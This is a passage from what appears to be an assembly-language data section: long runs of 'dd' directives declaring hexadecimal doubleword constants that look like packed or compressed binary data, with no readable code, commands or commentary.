0CE3FD4F9h, 0CB93A805h, 37995AF5h, 0D19B202Eh, 277DDAFBh dd 4D4B26B1h, 65F34038h, 127CE08Ah, 0D4053A24h, 0A6E2991Dh dd 8BFC0715h, 0A2C71840h, 7F510275h, 0D1BF0F85h, 242298CBh dd 0C1151A9Dh, 0BE51C1CBh, 11408C3Dh, 9901EB83h, 2BA52796h dd 0C5571EE9h, 48963DF9h, 9AAFD318h, 39038298h, 0D0C90E0Eh dd 0D8F372E6h, 1AB11625h, 9D784A2Bh, 0E8FB004Fh, 0AFB3802Eh dd 605CA3DAh, 1DDF0910h, 0D10287A2h, 0E611808h, 71823341h dd 1C519689h, 6B0E51C8h, 0A9B790h, 77B123BAh, 0EF2EA66Fh dd 212082CCh, 9C24E8BEh, 65F99B28h, 0F10033FFh, 841F0BC6h dd 582E0BC6h, 8C1BE844h, 0D4033572h, 15D5E389h, 0E9B4537Dh dd 0B3015A2h, 0AD98AB13h, 0B16D682h, 540CE304h, 1063563Ah dd 234F2BF9h, 1F584CD9h, 8C1CE880h, 0EFB6500h, 2933166h dd 0F5ED2503h, 2705FBC1h, 7FC84EB7h, 0E58D1003h, 0BFE91429h dd 45823811h, 0C8F9A14Ch, 111101AAh, 69BD3306h, 0EC484132h dd 0F662DCA3h, 0FFF038D0h, 17A2ACD3h, 283E9030h, 2CD9A62h dd 6163BA51h, 44ED68BFh, 217FDD44h, 93C87ADDh, 30CC981h dd 8030E3A3h, 0BF884C0Fh, 56D4BA80h, 3901D93h, 132D4D20h dd 0A40217E9h, 0FE6AECCCh, 16DE4656h, 20E988A4h, 0CAEEF11h dd 3E54F400h, 2D55C2DEh, 63A302D6h, 19DB65BFh, 97D37661h dd 2757E4DAh, 1831ABC8h, 0F1286595h, 0FC40F485h, 0DE8B2760h dd 9196BC90h, 0CF841800h, 61C421B6h, 86049F40h, 802F101Ch dd 73871FBFh, 346A3160h, 751E1156h, 65931C6h, 5198FE14h dd 0A125A120h, 0D8300740h, 66014062h, 0F6DB8C04h, 4C8204C3h dd 50D129FCh, 52685680h, 8F9CA8B8h, 4046A0Bh, 0DB1D10FDh dd 0BCEE8164h, 84015720h, 6847022Dh, 0EC18AC9Bh, 8B04C53Ch dd 4F1E20F0h, 263D6168h, 0ED21C02Fh, 5332500Eh, 6A067DDDh dd 14185628h, 7575C085h, 986841C0h, 0DB568764h, 70D0992Ah dd 684C070Bh, 8025E7A4h, 228B2068h, 5BFC579Dh, 7B0A044Ah dd 56B8545Ch, 3C71215h, 43D843A5h, 702500Ch, 303D2685h dd 5A6AC553h, 2E194702h, 448B49B5h, 45672811h, 0F7976804h dd 7D0492A5h, 679A3905h, 28B00C02h, 60A63275h, 35A1B4DAh dd 2C0C234Eh, 2D344DE6h, 339035h, 9A9447E5h, 968503h, 200EED23h dd 0F59D293Ch, 0A4670C50h, 0F563361h, 2670FEB7h, 487B09E2h dd 7C016050h, 3D0AF0F9h, 27B9C429h, 0FF646103h, 6D1FADh dd 6BCB18A1h, 0C9498D89h, 0DE643BBEh, 0E9F72013h, 2C8CB3A1h dd 0AD2A80B6h, 48050657h, 72388Ah, 444681Ah, 0F046B389h dd 0BA66F703h, 95F6FDBh, 0B4E9D7D6h, 0A365D184h, 3F732114h dd 126E0A2Dh, 0FA5D1833h, 193A10DEh, 22644D1Ch, 5470B056h dd 0EC808891h, 0C8055A70h, 9BA643D7h, 29DB7554h, 1542DECh dd 2EEBB8D9h, 1423DA3Bh, 0D1807D02h, 0F659BBh, 9D157556h dd 0A127F81h, 0C7F043C3h, 0DBF6A1A4h, 1888C04Eh, 0EB251DC0h dd 462A5D74h, 33F388D2h, 4F21C05Fh, 0E2FCF59Bh, 0D45400BAh dd 408A69A8h, 7133F0Fh, 79F2640Bh, 613AA5Ah, 0BF8007DBh dd 0EB9372Ah, 0C8D4340Bh, 0C11D02D5h, 0F2600424h, 435601A3h dd 9CCEAB7Eh, 620AC4h, 10B1526Eh, 858B75A3h, 4191215Bh dd 0AC70FB83h, 89124484h, 360656C8h, 0E089BEF6h, 0F8239DCEh dd 8A0D7D98h, 4C8B01F5h, 81C70C24h, 0FF1999A4h, 0B8E98303h dd 9D041594h, 0F48BC314h, 0E1820C28h, 0ED815D10h, 14D2C649h dd 501B838Bh, 344074DEh, 5D0CA989h, 0B74D4FADh, 0C96287C0h dd 2F4E4B89h, 19142351h, 81BC98AFh, 25BF66B1h, 0EC6150EDh dd 95A1527h, 109628EBh, 0B9CA8A0Ch, 0B80F0Ah, 4855D704h dd 0F7816405h, 65BB0D00h, 0BA8685D4h, 34B63840h, 0E8EA197Dh dd 0DCED0C5Fh, 582468FBh, 0A16874Dh, 0FBD1305h, 42D561A8h dd 239B2EA4h, 78FC001Dh, 9DF547ECh, 7EB3A10Bh, 2194059Bh dd 7BA93B0h, 2DC74C88h, 0ED8BF4B1h, 120A4841h, 8DDA22DDh dd 21043D84h, 9F082CA9h, 7020E885h, 188CB140h, 9799BD33h dd 2B95860Fh, 337C456h, 0D0FE0851h, 9C7D1A40h, 0B8B13A55h dd 2E311663h, 5678991Ch, 7845E001h, 70650063h, 6E6F6974h dd 66E64920h, 6D2872ECh, 0E0800C61h, 73F2656Ch, 206F2CE6h dd 0A7648E08h, 39DF6874h, 99C76C36h, 67F96977h, 64E963F9h dd 28BE73FDh dd 6196FBF9h, 0E381E540h, 2A3A2EFBh, 54200C6Dh, 0EC6B1668h dd 0FE75F679h, 40D6F0Ah, 28C601F4h, 73604670h, 52544362h dd 0FF2B754Ch, 699ED1B3h, 64971E66h, 0A18FD8A0h, 8A87970h dd 62F2696Ch, 721461FEh, 40362964h, 657D5642h, 7F997352h dd 25793D7Fh, 87431ECAh, 496B6302h, 640FA44Eh, 54554F70h dd 72501F8Eh, 851DE86Fh, 643BB40Fh, 69E6060Fh, 0F873D74h dd 2A6F1E21h, 18348E50h, 0E3071E75h, 1A5B95BDh, 52B462F0h dd 0AF572D8Dh, 0C122F7C4h, 25686BAEh, 67952503h, 85242769h dd 190A3823h, 0E12C072Eh, 0A2D5164Ch, 59D3C324h, 0FD0AD365h dd 5125351Eh, 0E7230E32h, 110E3E59h, 46A8AF34h, 0AC521187h dd 3B118742h, 118736ACh, 873AAC43h, 18A94A10h, 1A40ED0Ch dd 1DA258E9h, 2C5DBD82h, 95543A46h, 1C42190Dh, 817E244Eh dd 0C05FDh, 0BAF8C281h, 8B57B16Bh, 5E4958Dh, 28345230h dd 5FD4C340h, 5B9E863Bh, 88A166DDh, 9D455584h, 4CC31345h dd 654D1AF1h, 84501118h, 54C83243h, 583C3E44h, 0C8424384h dd 5436445Ch, 0D5DEA7DCh, 2868A2AFh, 325A29CDh, 36193A0Ch dd 4386420Ch, 9132213Eh, 280A502Eh, 60141C93h, 1F9D8707h dd 6111D9FBh, 25406A24h, 4E190B2Ah, 1844977h, 8B0EDEB3h dd 0D76E60C1h, 0C87BC0A9h, 24EDF70h, 0F728B4D9h, 2BD8525Dh dd 237E789Eh, 5AF3040Eh, 4FBC2F40h, 7880CFDAh, 6CB9C5EDh dd 0F60C409h, 5106E880h, 0FBBE0B5Fh, 0A89A466h, 0E70E3D3h dd 9D41E954h, 202F59CEh, 8A9E8F9Ch, 0B256CB00h, 87D7C663h dd 88571F1Fh, 81BA96C7h, 38F6BFD6h, 842DA333h, 7DA7F2B7h dd 0C3AD6CE6h, 617DE9D0h, 8CF774F9h, 3C202FDFh, 38D0EB61h dd 5F00D357h, 27A594Eh, 0DDF2C224h, 0F7461861h, 0B72404C7h dd 604DCA57h, 5D268078h, 53225E3Ch, 6AC66C00h, 1E6446DFh dd 2F2B09A3h, 0EAC6BF61h, 1DC457A5h, 2BC1F960h, 2ADD0501h dd 0D6B4AFEDh, 0D5B96250h, 86130163h, 7EEA76FFh, 4029D08Ch dd 0C50BBD09h, 0FB2A0237h, 20B7423Bh, 95EA475Ch, 0F516002Dh dd 0D97C35A6h, 6CF8ADDAh, 50BEBA16h, 3B53DC8h, 0A4B4529h dd 89B8A1C7h, 0F74241Ch, 0BE4A90B5h, 645C4BF7h, 129AFC5Fh dd 5ED9E9E7h, 0E8B04317h, 0ED6ABCh, 643D8DEFh, 2BA2718Fh dd 925E6C00h, 0D8BAC48Bh, 60E904E6h, 0BCEB01CDh, 8C15E889h dd 0BABCAD05h, 0FA12ABCBh, 7380A4DBh, 5FA3324Ch, 88EC8B01h dd 0D0C58042h, 0B693932Dh, 0F4F5E07Ch, 0CFFE9D1Fh, 17F1DB0h dd 0A42300BFh, 0C2B63E7Ch, 0DD1D733Dh, 8F00E778h, 803B2716h dd 0B2224C9h, 0D48416AEh, 0E8938203h, 0AF001544h, 0B4D3CB5Dh dd 1DAB56Ah, 74B97DD1h, 0CCBAA6D0h, 83500FCCh, 615F5E62h dd 0B703286Eh, 52503BC5h, 98DE8090h, 0B15A5E26h, 99BD8D02h dd 0F48CDC70h, 685D3A00h, 0BAF8AF61h, 3F3116D9h, 40E971Bh dd 1FBAB250h, 4F804D5Dh, 0FF5E3F29h, 8FB7BFE7h, 0DD127A00h dd 4F7C27C1h, 10400957h, 0F0233E6h, 0FE0140B6h, 5DB004C8h dd 227126Ah, 0D93A8B5Fh, 226D001Ah, 97D33C40h, 0D8F28504h dd 33AD92F9h, 0F61ED3B8h, 9CC55C34h, 52B0A55Bh, 617125FAh dd 920366C4h, 0D8721A82h, 0CB4EE079h, 0B77101EAh, 7ECA8097h dd 3BAB6159h, 1A02616Eh, 6EB1C43Eh, 6D69A4CFh, 2F0E64D3h dd 82BE601Dh, 6170A8C2h, 33E632CDh, 27C2E4B4h, 0D01F18EBh dd 240FDA0h, 0E3249260h, 29C46369h, 0C261063Dh, 0E6E92DD8h dd 14608706h, 85F60840h, 504F335Ah, 0C7F84F24h, 9CB58B21h dd 0E670818Fh, 60338A95h, 9588E864h, 43C65F81h, 65B53BECh dd 860F390Dh, 20D851E9h, 0E622F2D8h, 506FC0CFh, 24C88C66h dd 5F0A0326h, 0EF812AA0h, 125B72BBh, 8F90858Bh, 580A1886h dd 6741CADBh, 0C61EF107h, 44C62404h, 30FF50CFh, 95FC0857h dd 2B1EB54Ah, 4010FC9h, 2D80FEA8h, 0B6531CC0h, 89668F2Eh dd 209FC6Ch, 2B535B57h, 82A04C09h, 224344E1h, 5326BBE0h dd 80CB0CEFh, 84C303E3h, 764B3868h, 2FC7765Eh, 0E7982EC9h dd 0E6DD448Bh, 8AC59814h, 3CBE0689h, 3EBC7218h, 1662348h dd 0A25B53BDh, 6016A322h, 0B1A63E80h, 0B7A1BB00h, 1B0763Ah dd 5AB1B172h, 0C88AAC80h, 0E432C302h, 0AACB0CD1h, 140D20Bh dd 640A4A88h, 5BE5D6C9h, 50DDC323h, 26521011h, 0BBBD48Bh dd 9EC2087Ah, 80AA2101h, 8DB0C23Fh, 0BCA85A5Fh, 566E5153h dd 99DB4B32h, 0D8E8AC39h, 81D301D1h, 465ABCC3h, 0FAB0BC37h dd 970B4932h, 828B25E8h, 0F615979h, 637B4D60h, 0EAAC32C3h dd 4077B42Ah, 438EE7C0h, 0D80F50DFh, 3C04A832h, 6D49929h dd 7433A825h, 8F0C6053h, 8D210A85h, 6A102ECh, 8927F2BDh dd 4E23E9F3h, 8B1B8C3Fh, 502407Eh, 9B46F317h, 19219289h dd 0ACFE3C14h, 0A31F1E46h, 0AE88E430h, 698768E9h, 1276A4DFh dd 7A4D0072h, 0CAB2B80Ch, 0C4A94527h, 7206E066h, 0C8D10030h dd 0FF73B46h, 8DA4F182h, 4B08EA81h, 284CD928h, 5682284Bh dd 13425351h, 0C4A2C02h, 3C28674Ch, 0A44C92Dh, 34980004h dd 0C1D83213h, 1C9008C3h, 1CA067AEh, 5E51595Bh, 92980137h dd 4F5D083Fh, 0BAC34A0Bh, 2A9D880Ch, 4D31E244h, 25AE040Ch dd 48A3831Bh, 78E4B688h, 0A5AF8406h, 2687797h, 8A0F4EFDh dd 6E09402h, 0FE127AF1h, 7C04F95Bh, 0BD76CB8h, 5CE868C4h dd 40028784h, 575F50B2h, 0EFDA0081h, 5A6DACECh, 1F0434FFh dd 58D3B70Fh, 4A83808Ch, 12A98A94h, 0FFB4C95h, 0C06062D1h dd 0BDB5060h, 10F78B30h, 68D85DCh, 8ABE6672h, 0B10014E3h dd 8B4FABFCh, 7B0489F0h, 88C9003Bh, 0F133733h, 833EF3BFh dd 0EE07FCEFh, 3895937Bh, 0B5E0FF63h, 0A8853491h, 7C8C355h dd 24411E9Bh, 0FEA100BBh, 1331EB35h, 0D4042D50h, 9111AD60h dd 0EC3C65h, 462B377Dh, 7651D5B5h, 492CB700h, 0B2A03B20h dd 7C4BE64Ch, 9E3A0636h, 4041EBB5h, 79003CF0h, 9C2E35B8h dd 0C172CFBAh, 0E0EF6E28h, 13408250h, 87416F3Ch, 0EA437D38h dd 335DBC7h, 0B0167420h, 52E01231h, 293885BBh, 93231FADh dd 7F15A480h, 6D36B8h, 531270B6h, 0C8BCF465h, 6A2C1100h dd 42B9EE1Ch, 5DB60579h, 0CE29E34h, 4D515144h, 0D98BD18h dd 3078F031h, 9C81B4C7h, 4E0F54C2h, 86743648h, 81853C0h dd 5898B312h, 0B0B7B102h, 95660044h, 0C4077AC3h, 0DCE7EB29h dd 834394AAh, 0EA300F6Ah, 14069C02h, 781F103Ah, 239B4CB7h dd 508CE170h, 0FC32D600h, 0CCF0FB28h, 37AE1610h, 55C1530Ch dd 27011AE8h, 7B31E86Ah, 0C0802ED3h, 106EF616h, 5B32542Dh dd 10132957h, 0E2892FF9h, 58441B08h, 706940FFh, 0F3C62C00h dd 18A24F52h, 0CC2A0085h, 975A58EDh, 1D007C21h, 0BFFAE6D5h dd 0CF8B93E3h, 0F720F8B4h, 4F8E4A01h, 0E8F44900h, 9DECBF5h dd 2FEB1EFAh, 0E5060025h, 0B287421Ch, 0A8FC2A77h, 2CD23E00h dd 0FEE62F68h, 497173h, 6354D012h, 6F23E807h, 374E210Ch dd 40E429CEh, 1300C9FCh, 0C636D8CFh, 13063DEh, 6BA14280h dd 0EC48D4A7h, 9E004012h, 154CCF95h, 50C49C2h, 0D7A66A2Dh dd 0DFE7C04Bh, 0E80084DDh, 0EE200A97h, 246B37A0h, 0E476F2h dd 0F6E37B63h, 5A000B12h, 0EE478287h, 7C9920h, 0F076FA9Eh dd 0DD6F92Bh, 0DD96B201h, 0EF6F9AA1h, 85E5DC41h, 0C573D8h dd 26924E70h, 8B35AD52h, 0DF03B101h, 32AE0841h, 9DD5E1D3h dd 0FC9A20h, 0D3427164h dd 9743FA2h, 486B6E1Fh, 22AA36C0h, 12401031h, 34D41Eh dd 0CC56E091h, 920702CAh, 0EE766148h, 0C6E17047h, 0E1E40762h dd 0D3CD0013h, 830634E7h, 1D00EF81h, 4D68B7EAh, 4295D0h dd 27099CC9h, 0A98AAB4Ch, 0E8F0F700h, 5985BA1Dh, 0FF1403D8h dd 0BAE0C66h, 8294C298h, 95249C70h, 9F004C35h, 53A2FE47h dd 1C1A1EBBh, 20BC069h, 7AB76316h, 41E8C190h, 7CF09C54h dd 82334600h, 22EEF2C4h, 0A0273885h, 70F93Ah, 17CC45B0h dd 2F6761EBh, 0EF1FE700h, 16C5962Ch, 66A90038h, 88C0201Bh dd 5F00DF32h, 0FF69CF25h, 374770Dh, 2E7AD8Ch, 400095F3h dd 35030AEEh, 671641CBh, 0C709205Bh, 65A880C5h, 0DC0111B9h dd 0AE0D4948h, 0DDF1268Bh, 7CF4BC71h, 7D4400BDh, 0A40D808h dd 2A7D82B4h, 0C73DA50Ch, 4F391Fh, 8754DD01h, 6EAA643Bh dd 0B79003FAh, 3AE6A900h, 4215E7C5h, 0FA7BB9h, 506601Eh dd 3E4EF0DAh, 0C0304Ch, 0B701E0B4h, 0B2E8BE6h, 0F7B6B98Ch dd 337E1000h, 0C100A085h, 1BAEC9F0h, 2A73708h, 0D20C3C34h dd 0F40060Bh, 10003D33h, 0CAE009D4h, 90E9ED1Dh, 12E100BCh dd 0A9585AD6h, 27F846D2h, 0FA52E401h, 64BC7A3Ch, 0EC48CBE0h dd 0E87E009Dh, 0FC3F0FE5h, 5AE01B41h, 94002490h, 4E20846Fh dd 0EBEDC49Fh, 8042B442h, 0AD0EA3B0h, 0E82400F5h, 1D8389AAh dd 31C0599Eh, 0E643C955h, 47250001h, 0D71A2834h, 0F730DB2Dh dd 4F7B34BFh, 41558DAh, 0EC4EC75h, 0EFF283F1h, 0BA1B59A0h dd 0E30079FBh, 1E54C1F4h, 337F8BBh, 2F87C288h, 749F05B3h dd 0AE089058h, 82003512h, 0AD14925Eh, 0E92A64h, 1EC55844h dd 2EDB3E79h, 0FF2D11Eh, 7F6E3B40h, 3FC152BFh, 0F80410DFh dd 8062E0ECh, 1A21DC54h, 0FD03B51Eh, 0D71D5BC0h, 789C43Ch dd 174C0E2Dh, 747DA213h, 432F45C1h, 908A58E4h, 8DC07448h dd 868A5100h, 53062BB7h, 52DF00FBh, 0B89198A2h, 0A61F3A80h dd 62D759CCh, 2081610Bh, 0C8410B88h, 0D23D00AEh, 4FE90D6Ah dd 0D80027E5h, 46EE92AAh, 0D728B0h, 0DE0113E0h, 0F0875721h dd 66403360h, 0CD0F0Bh, 6D7076C4h, 8E4DD9A3h, 25B98A00h dd 4E90C2B6h, 5244008Fh, 0E7D2207Dh, 98095556h, 80237B22h dd 925D3FF0h, 0A7650028h, 2B10904Fh, 5C008BFEh, 26E902B7h dd 29F6016h, 8EDD2F99h, 0D4606E71h, 8800816Dh, 90E5485Dh dd 9A6B974Ch, 9F6700DCh, 0A662CA6Ch, 80F23114h, 73CB9000h dd 0AB37DA18h, 1B9CA81Fh, 0E85900E0h, 247C64E1h, 83008E65h dd 45F3C17Bh, 7A331DBh, 0BD51A102h, 704750FAh, 0BA005EC6h dd 19DF5486h, 3F0C67F8h, 0CD9C13A6h, 80286CECh, 142F0EE1h dd 0B000B456h, 0C0181DEDh, 0AF3387h, 0BC57D2F8h, 3927AB12h dd 6F2D30CFh, 8C0380Ch, 0FC2100C1h, 3044713Ah, 7B1806ADh dd 98F8539Ah, 63863076h, 0A0965739h, 1003CB75h, 6479FEFFh dd 0AD6E8030h, 1E734C5Fh, 86B4BC00h, 0C938AE60h, 0EC394000h dd 55173A44h, 29E20143h, 0E11FC41Ch, 41C3D450h, 0A09B2100h dd 12CE7D33h, 68181DFDh, 5AB7C9B6h, 136DE410h, 0D88E350Bh dd 5FB10101h, 8ACC8CA6h, 0FFAA0B25h, 0C304C91Eh, 1B0880F8h dd 7C24A70Bh, 8F803C1Ah, 44B2050Fh, 4AF0032h, 0BBFADB99h dd 0B400233Ah, 0FBDE9401h, 2CC8F8B8h, 9D704802h, 0E985C6Eh dd 0D2C17249h, 0D09E4274h, 2449EDD4h, 51808C0h, 2F3060DFh dd 64004154h, 0C3273A5Fh, 9E1AB6Bh, 0EB28EC45h, 4220588Fh dd 74568CC8h, 0BA2C0300h, 5C982D20h, 0D39E004Bh, 0F0700139h dd 0BC004DC1h, 0ECF915E4h, 21F83B9h, 0AE719584h, 8C685222h dd 0AD7ADE3Ah, 0E2FCC000h, 962AB323h, 2CE3020Fh, 47B4D99Eh dd 290D6CC0h, 0F29A3240h, 8C5824CCh, 2380834Ch, 81EC36C6h dd 60C72A08h, 5402A17Ch, 4C1B19BCh, 83344A8Fh, 34A0AEh dd 6ECD2839h, 0DF96390Eh, 0A813F800h, 24E1ECB6h, 9847153h dd 0F6495989h, 5D58C440h, 0A8B849h, 8D2B86E8h, 0A4428Bh dd 1027F03Bh, 28D43370h, 7021A930h, 13B680A5h, 40BECE92h dd 5D3E1344h, 0DD002879h, 7366012Ch, 3A6B96h, 0C1F722E7h dd 0F086B358h, 0F520E900h, 82AF5CBDh, 1FEC01EBh, 0AA5FC2F2h dd 1580707Fh, 0B6648F01h, 31D4B3CCh, 80B0619Dh, 0F399A36h dd 510937BDh, 34C2F53h, 111FBA24h, 3C89DD10h, 9A3B0017h dd 5FA546F8h, 0FA623F6Bh, 740095BEh, 0F319EF3h, 30A0D7B3h dd 360E7681h, 80AFB037h, 0ABAA8464h, 65BA003Bh, 0EF518F5Bh dd 6D00A290h, 3553B2F3h, 60A05A64h, 747F39A7h, 0EF5D9414h dd 6E2D00C8h, 0FFB417F4h, 2C6F0655h, 616C5620h, 7FFC4Ch dd 25C1122Fh, 1A86FFh, 0C31E4A8Ah, 73572444h, 0CB202E00h dd 1C6A3223h, 0BDB00430h, 960C18E4h, 48DB818h, 32211A61h dd 2FFC1089h, 4795FC40h, 364B7B00h, 2A4A4FD4h, 0EA9A01EBh dd 0FC3B2376h, 96B19F40h, 0E4297DDBh, 1278D621h, 0AD9E212Ch dd 18113017h, 0FAE63Ch, 73CD15E9h, 7DB19h, 0CA16E09Ah dd 752D7B29h, 0E411A400h, 2B6A49CCh, 0CA7007Ah, 0B103D691h dd 2200BE15h, 40102CBBh, 2CC4CB6h, 59DF1374h, 0D050FBE3h dd 8086BC3Ah, 622D1194h, 0CF712C36h, 25A0BEF1h, 0B56E17C9h dd 0D9A78900h, 289CFE0Fh, 5BE300DAh, 45B8D362h, 552E7AF6h dd 6C00B4EDh, 1B9B7168h, 3A92385Fh, 3ED01500h, 0BF75A9DAh dd 4FFFA015h, 30C00ACh, 2A93D6FBh, 22D200FEh, 9E9D703Dh dd 0D7491711h, 0FAD512D4h, 72FC3CC8h, 0BC9204h, 18F4E8F0h dd 8B1CB122h, 135C880Fh, 0C742C337h, 8D1AF0ECh, 27CC2635h dd 58C00170h, 605A56B6h, 0C90078A4h, 76FBA90Eh, 3F9BD7Ch dd 3B8BE53Fh, 0A1C093C2h, 900FDECh, 77A5F805h, 40061Bh dd 0EAEB890Dh, 16BE31CBh, 9B9D621Dh, 6500D597h, 0C8ECCA94h dd 0C061F21h, 0E8398A41h, 0CE2D00B4h, 843B1068h, 0D8AD8D00h dd 6F9C7B36h, 31010032h, 0CE2C736Ch, 0E7FE8343h, 958F2500h dd 2EA14A64h, 2F2A33B2h, 54F02648h, 0E900F2CAh, 0EE80312Ch dd 0C1DF2Dh, 571715FAh, 0F01E09D7h, 0F702AE00h, 26B89DD4h dd 8FA9164Eh, 7F0D0035h, 8C3115E7h, 7882F601h, 6D0FC4Fh dd 3C0381C8h, 0C00D1B0h, 0EE49B1A2h, 3E0071C7h, 0AF65C0Eh dd 2E9A3206h, 58A470h, 7E9B0DD5h, 0C20901D2h, 2F41E277h dd 9B0016B4h, 0E906F6F0h, 46F9002Fh, 0C01BC955h, 830032A5h dd 7E805F12h, 4C042EFFh, 0D60D9EDEh, 0D4403497h, 5C007F7Bh dd 9D40E694h, 7DA9D3h, 35E99A5Eh, 7E9FF2A6h, 42545F00h dd 0D7E2108Dh, 88650046h, 0E5138B32h, 6D7FEFD6h, 57757819h dd 90700B6Ch, 67AC097Bh, 6841A9BCh, 2C082333h, 51841C3Dh dd 3881740Dh, 4424BF21h, 3C3449D9h, 44C04817h, 800CD498h dd 9F24094Ch, 7646C800h, 402EC6C9h, 0E74C0091h, 37D5CC18h dd 830563BFh, 14D936F8h, 0B4DE0DC0h, 57B704D6h, 0C2ED5E50h dd 679D28h, 2C192A59h, 0D8E50148h, 2B38AC67h, 1F9824h dd 0E3A4FCE4h, 1265D30Fh, 0D94AEC00h, 84A07304h, 0E8EF07DFh dd 12F0CB38h, 0C848A52Ch, 2000F7BBh, 8E24F8EEh, 283A818Bh dd 0E2F83260h, 2A5C04B8h, 0D1A430F4h, 205D9844h, 5124B07Eh dd 6BFCCA8h, 0AE53AA3Ch, 36A20111h, 0D0D273D8h, 80F7C5FFh dd 1BEBF319h, 0A7089Dh, 0DA16C34Bh, 11252FE5h, 0DC09BD06h dd 0A10E630h, 0D0BCE2Eh, 0DE8E38F8h, 0E8CEE326h, 8099F385h dd 0D17AE6C4h, 5D009190h dd 86514FBDh, 21EBEEh, 595CBBF6h, 7596891Ch, 27301678h dd 54AFF1BCh, 556930E5h, 51488C11h, 233BBB0Eh, 3A7C17h dd 0C75867A4h, 6BCA1Ah, 9F45D1A6h, 30B6293Ch, 9E6EBB0Ch dd 92A8A7h, 4FE9E52Eh, 275C2F9h, 0D53CAE04h, 0D987AD33h dd 0A544E8D0h, 8CD31E39h, 3DC0C026h, 97F8141Ch, 0BA086700h dd 16DA5783h, 0D0443CF7h, 0C4B1A6h, 0E9B0B9C9h, 6309ED7Ch dd 0A73EC1B6h, 0D252E6ECh, 8C604049h, 5C70B2F2h, 8420689Bh dd 865BBB00h, 98707105h, 0E5960053h, 0D9283FEFh, 2B1CD415h dd 0B8408732h, 0B45DB1F9h, 0B7FD5082h, 0EFB8C6h, 8CBD18F6h dd 0E8FEE452h, 0E0231A00h, 92D15177h, 7FD40081h, 0DD1EFC93h dd 940047F9h, 6B38D99Fh, 0E3A87983h, 3959D4DCh, 284DBF8Fh dd 67A3CE03h, 18A87C74h, 8100CBC5h, 0D1827665h, 7CACF0Dh dd 3C776678h, 0AA08C06Ah, 2D002E0Fh, 0B633A80h, 1E370EADh dd 0C2407A35h, 9B8179Fh, 64B31040h, 0CD0019F0h, 0AADC38D6h dd 24D4C274h, 8064A3EDh, 17DD99A1h, 5517B721h, 0C00045E6h dd 6A52BC93h, 0F83A0046h, 43E101F6h, 0BF0277CFh, 636CA516h dd 0B120E872h, 1237CC1h, 0ED22461h, 0E821D5B3h, 0D7031D57h dd 22D4AE0Bh, 0E087BBBEh, 259089h, 5E55C0F8h, 2093861Fh dd 1F8F55Ch, 61AF954h, 0A82028DFh, 2AE875D2h, 0EEE4FBFEh dd 0D6262603h, 2E068050h, 76988089h, 0B10556B0h, 6EC34732h dd 0E6241CA4h, 0B06400CDh, 3FF53EE0h, 6200CF0Fh, 0F142DCAEh dd 4AD20A3Bh, 38FC4761h, 4857D202h, 0F120C450h, 0B4EB3235h dd 0ECE07284h, 46747489h, 6C109510h, 10666278h, 202C7FE9h dd 590600EBh, 206C90C7h, 913C7E1Ch, 0C2248099h, 5C21D289h dd 7D4EF819h, 239400E9h, 35ED991Fh, 2705BD3Fh, 17F66C51h dd 0E86628D0h, 0EC84A8F3h, 609C0904h, 50484E76h, 0F006212h dd 0EFF1968Ch, 25147BCh, 0AEF5BB3Dh, 648436ADh, 54608D5h dd 0C04563D4h, 0B7AED6D8h, 801AB13Eh, 53730A4Eh, 2EEA2492h dd 0E47940h, 0FA76F216h, 0FCA97EFCh, 37A6E08Dh, 0A7EE5100h dd 5667B84Fh, 90C1E83Bh, 0EC253002h, 80769328h, 0A23C1903h dd 0E02696FBh, 0C0439740h, 3E656849h, 24E1BC22h, 1C6E6E88h dd 9E00BF48h, 0D45CFF77h, 0BBE30058h, 9307518Fh, 0D1C035D5h dd 98413455h, 31EA0DFCh, 0D0E41712h, 7028A62Dh, 192AC510h dd 0C900A41Fh, 0FB8A9F76h, 9034FC92h, 0DC0305F1h, 40F1B822h dd 0EB0C6CB0h, 52038837h, 0AFB2AE72h, 82401C77h, 0C04A1F9Eh dd 0A1EC627Ah, 72B01E94h, 769D140Fh, 7B150039h, 1759CC4h dd 0E478ED51h, 43FCF26Ch, 200F53D9h, 1FCCA70Dh, 2A07051Ch dd 34F065C3h, 0D9B351h, 2B5C42Ch, 62813A2Fh, 246C9316h dd 0E835040Ch, 0F76384F6h, 0F34E20B1h, 4615E0C6h, 0A81B075Fh dd 5CDE08h, 5922F4A9h, 4FF3C800h, 3A0FD315h, 325807BBh dd 0F2B73440h, 674023A9h, 0FB00D483h, 9712D5B9h, 1C63A71Ah dd 40C3F486h, 0C6D3B5F8h, 9D180699h, 0B730569Bh, 7AEA093Bh dd 0C30C7764h, 0FF528271h, 0AC0FA04h, 0E8BF4539h, 8313E41Fh dd 0D3981100h, 0E2DDB337h, 15A65C2Fh, 2CFB6700h, 24FAE88Ch dd 12FF8006h, 4229D4EFh, 0FCC711C9h, 9808E621h, 84B590D6h dd 0D248FE82h, 24D87142h, 0EC2E23A1h, 0BC42BE48h, 208D24DCh dd 812D0462h, 448E08AAh, 228479DEh, 96220888h, 0E4992223h dd 0F6116542h, 882210Eh, 5195E953h, 29103278h, 0EA1B106Eh dd 81083D89h, 845A1144h, 29899A7Ch, 13650408h, 140446F1h dd 1548EE0Ah, 1E508680h, 13BC341Bh, 836CCFh, 0BF3A1D61h dd 823B75C4h, 0F41E8066h, 61EF1B17h, 14E517BDh, 0F2200038h dd 1CEEBC64h, 0E4133273h, 801CF86h, 0DB6195F1h, 2ACAE0h dd 1D223757h, 0E8E687AFh, 0FC601F2Eh, 0C440123Ah, 0C200FF16h dd 5EE2234Eh, 9740703h, 41AD63D5h, 0F40C6FD3h, 4A002B3Ch dd 3E128415h, 0F03207h, 0F7303D3Bh, 2FDEF69Bh, 473C1B1Ch dd 1DC7BC1Eh, 11CC6E5Ah, 71E502B7h, 84FDE903h, 0EC0746E0h dd 6FC9502h, 403E7370h, 0FEA958h, 0F74B9AB0h, 10E0413Bh dd 402B3000h, 7E24FAFh, 2C4500C0h, 0D995F649h, 6C1C09ACh dd 1C5BA9A5h, 92B2B068h, 0B8FC88h, 4322DDD8h, 0DF6D9B0Ch dd 0D7BD941Dh, 5A43CB1Dh, 0C0541283h, 7B03405Ch, 255B0192h dd 3C855846h, 3D803209h, 0A2D500F8h, 3602D0C6h, 0CC3E3E35h dd 74689C80h, 0C98A78C0h, 8797FF13h, 0A0926B0Fh, 0E8BADE2Bh dd 0A64B0134h, 3A79C0D7h, 9F29E04Eh, 65170100h, 1362B3AFh dd 26470357h, 3355DF76h, 6512000h, 7E1B58B7h, 6B8A1DEDh dd 83895D13h, 0AF7488F4h, 0C16AF800h, 0E03AFF86h, 1C34F896h dd 47088D27h, 10AE0F91h, 8EC085BCh, 0A300C9E4h, 3D2E1390h dd 